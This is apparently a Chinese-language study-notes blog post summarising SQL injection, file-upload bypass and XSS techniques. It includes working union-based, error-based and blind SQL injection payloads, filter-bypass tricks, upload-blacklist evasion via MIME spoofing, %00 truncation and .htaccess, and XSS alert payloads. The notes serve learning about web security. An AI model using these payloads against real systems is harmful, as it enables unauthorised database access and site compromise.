三大安全漏洞学习总结

SQL注入

  • 总的来说就是拼接

  • 常见的变量有**'$id' "$id" ('id') ("id") $id** 就是括号和引号的配合,称作字符型和数字型

  • 原理:就是闭合前面的,注释后面的或再闭合后面的,中间可以插入sql语句。来查询数据

  • 最基本的,假设字段数为2:

    • 查表名: -1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

    • 查字段名: -1 union select 1, group_concat(column_name) from information_schema.columns where table_name='表名'

    • 查值:略

  • 报错查询

  • 一般如果没有字段数,没有回显的地方可以考虑报错查询。

    • extractvalue(1,concat(0x7e,(select ........),0x7e))
    • updatexml(1,concat(0x7e,(select ......),0x7e),1)
    • select count(*),concat((select ),0x26,floor(rand(14)*2))a from information_shcema.tables group by a
    • 我常用的就这三个
  • 盲注

  • 没有字段数,还不报错。但是可以注入,就盲注。

  • 介绍几个函数,substr(),mid()

    • if(substr(database(),1,1)='s',1,0)

    • if(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='s',1,0)

    • left(database(), 1) > 's'

    • ascii(substr(database(),1,1)= 101

    • if(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='s',sleep(3),0)

  • 绕过

  • 注释绕过

    #
    --+
    
  • 过滤空格

    %09  Tab键
    %a0  空格
    /**/
    ()
    
  • 过滤=

    like
    regexp
    

uoload文件上传

  • 可以再前端写一个函数onsubmit = "return checkfile()"

    • 这种可以先上传一个.jpg格式的,然后通过抓包再修改成.php格式的绕过检测
  • 后端检测$_FILES['submit'][type] 的属性,可以抓包修改成成image/png

  • $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
    		$file_name = trim($_FILES['upload_file']['name']);
            $file_name = $_FILES['upload_file']['name'];
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    
  • 这是个黑名单过滤,通过获取用户上传文件的文件名来过滤,里面相应的函数都有相应的绕过方法

  • 白名单绕过

    • 文件最后命名的时候,不会命名成原名字,会通过一系列的拼接,最后命名成jpg等格式的文件

    • %00 可以阻断后面的字符串拼接

  • 文件包含漏洞

    • 文件中有一个$file=$_GET[file]; include($file)函数,可以给file传参,给它传入一个有漏洞的文件路径 .jpg。可以先上传一个图片木马
  • 还有一种修改配置.htaccess文件

    • AddType Application/x-httpd-php .png .jpg .gif

    • 会把上面格式的当作php文件操作

XSS

  • 把输入表单的值加入到html中,执行js的操作

  • 常需要用到的标签有

    • <script>alert("123")</script>
      onclick=javascript:alert(123)
      <a href=javascript:alert(123)>xss</a>
      <img src=123 one rror=javascript:alert(123)>
      data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
      
  • htmlspecialchars()函数

    • 会把<> "" (空格)等都转换成html实体字符
  • 通过输入表单内容,判断后端做的过滤

    • 一般就是将关键字等,on src data href " 等替换成其它的或者过滤
  • xss还通过可以修改隐藏域,来达到注入的效果

上一篇:Go语言学习18-结构体的匿名字段、嵌套与JSON


下一篇:MySQL 查询语句的 limit, offset 是怎么实现的?